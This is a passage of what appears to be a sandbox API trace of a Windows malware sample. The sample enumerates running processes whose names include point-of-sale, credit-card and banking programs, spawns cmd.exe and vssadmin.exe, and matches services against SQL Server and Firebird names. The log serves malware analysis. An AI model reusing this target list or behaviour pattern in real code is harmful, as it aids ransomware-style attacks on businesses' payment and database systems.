szExeFile="webdrive.exe")) returned 1 [0076.035] lstrlenW (lpString="webdrive.exe") returned 12 [0076.035] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0076.035] lstrlenW (lpString="whatsapp.exe") returned 12 [0076.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0076.036] lstrlenW (lpString="winscp.exe") returned 10 [0076.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0076.036] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0076.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0076.037] lstrlenW (lpString="active-charge.exe") returned 17 [0076.037] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0076.037] lstrlenW (lpString="accupos.exe") returned 11 [0076.037] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0076.037] lstrlenW (lpString="afr38.exe") returned 9 [0076.038] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0076.038] lstrlenW (lpString="aldelo.exe") returned 10 [0076.038] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0076.038] lstrlenW (lpString="ccv_server.exe") returned 14 [0076.038] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0076.039] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0076.039] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0076.039] lstrlenW (lpString="creditservice.exe") returned 17 [0076.039] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0076.040] lstrlenW (lpString="edcsvr.exe") returned 10 [0076.040] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0076.040] lstrlenW (lpString="fpos.exe") returned 8 [0076.040] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0076.040] lstrlenW (lpString="isspos.exe") returned 10 [0076.040] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0076.041] lstrlenW (lpString="mxslipstream.exe") returned 16 [0076.041] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0076.041] lstrlenW (lpString="omnipos.exe") returned 11 [0076.041] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0076.042] lstrlenW (lpString="spcwin.exe") returned 10 [0076.042] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0076.042] lstrlenW (lpString="spgagentservice.exe") returned 19 [0076.042] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0076.042] lstrlenW (lpString="utg2.exe") returned 8 [0076.042] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0076.043] lstrlenW (lpString="nj_sh.exe") returned 9 [0076.043] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0076.043] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0076.043] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0076.043] lstrlenW (lpString="telecommunications.exe") returned 22 [0076.043] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0076.044] lstrlenW (lpString="sound banking.exe") returned 17 [0076.044] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.044] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.044] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.044] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.044] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.045] lstrlenW (lpString="taskhost.exe") returned 12 [0076.045] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0076.045] lstrlenW (lpString="winhost.exe") returned 11 [0076.045] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0076.045] lstrlenW (lpString="cmd.exe") returned 7 [0076.046] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.046] lstrlenW (lpString="conhost.exe") returned 11 [0076.046] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0076.046] lstrlenW (lpString="vssadmin.exe") returned 12 [0076.046] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0076.047] lstrlenW (lpString="VSSVC.exe") returned 9 [0076.047] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.047] lstrlenW (lpString="svchost.exe") returned 11 [0076.047] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0076.047] CloseHandle (hObject=0x1d4) returned 1 [0076.047] Sleep (dwMilliseconds=0x1f4) [0076.658] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ffa0 [0076.659] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0076.660] GetLastError () returned 0xea [0076.660] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x3959740 [0076.661] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0076.661] CloseServiceHandle (hSCObject=0x52ffa0) returned 1 [0076.662] lstrlenW (lpString="Appinfo") returned 7 [0076.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0076.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0076.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0076.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0076.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0076.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0076.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0076.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0076.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0076.662] lstrlenW (lpString="AudioSrv") returned 8 [0076.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0076.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0076.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0076.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0076.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0076.662] lstrlenW (lpString="BFE") returned 3 [0076.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0076.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0076.662] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0076.662] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0076.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0076.662] lstrlenW (lpString="CryptSvc") returned 8 [0076.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0076.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0076.662] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0076.662] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0076.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0076.662] lstrlenW (lpString="CscService") returned 10 [0076.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0076.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0076.662] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0076.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0076.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0076.663] lstrlenW (lpString="DcomLaunch") returned 10 [0076.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.663] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0076.663] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0076.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0076.663] lstrlenW (lpString="Dhcp") returned 4 [0076.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0076.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0076.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0076.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0076.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0076.663] lstrlenW (lpString="Dnscache") returned 8 [0076.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0076.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0076.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0076.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0076.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0076.663] lstrlenW (lpString="DPS") returned 3 [0076.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0076.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0076.663] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0076.663] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0076.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0076.663] lstrlenW (lpString="eventlog") returned 8 [0076.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0076.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0076.663] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0076.663] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0076.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0076.663] lstrlenW (lpString="EventSystem") returned 11 [0076.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0076.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0076.664] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0076.664] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0076.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0076.664] lstrlenW (lpString="gpsvc") returned 5 [0076.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0076.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0076.664] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0076.664] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0076.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0076.664] lstrlenW (lpString="iphlpsvc") returned 8 [0076.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.664] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0076.664] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0076.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0076.664] lstrlenW (lpString="LanmanServer") returned 12 [0076.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0076.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0076.664] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0076.664] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0076.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0076.664] lstrlenW (lpString="LanmanWorkstation") returned 17 [0076.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.664] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0076.664] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0076.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0076.664] lstrlenW (lpString="lmhosts") returned 7 [0076.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0076.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0076.665] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0076.665] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0076.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0076.665] lstrlenW (lpString="MMCSS") returned 5 [0076.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0076.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0076.665] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0076.665] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0076.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0076.665] lstrlenW (lpString="MpsSvc") returned 6 [0076.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0076.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0076.665] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0076.665] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0076.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0076.665] lstrlenW (lpString="Netman") returned 6 [0076.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0076.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0076.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0076.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0076.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0076.665] lstrlenW (lpString="netprofm") returned 8 [0076.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0076.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0076.665] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0076.665] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0076.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0076.666] lstrlenW (lpString="NlaSvc") returned 6 [0076.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0076.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0076.666] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0076.666] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0076.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0076.666] lstrlenW (lpString="nsi") returned 3 [0076.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0076.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0076.666] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0076.666] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0076.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0076.666] lstrlenW (lpString="PcaSvc") returned 6 [0076.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0076.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0076.666] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0076.666] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0076.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0076.666] lstrlenW (lpString="PlugPlay") returned 8 [0076.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0076.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0076.666] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0076.666] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0076.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0076.666] lstrlenW (lpString="Power") returned 5 [0076.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0076.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0076.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0076.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0076.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0076.667] lstrlenW (lpString="ProfSvc") returned 7 [0076.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0076.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0076.667] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0076.667] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0076.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0076.667] lstrlenW (lpString="RpcEptMapper") returned 12 [0076.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.667] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0076.667] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0076.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0076.667] lstrlenW (lpString="RpcSs") returned 5 [0076.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0076.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") 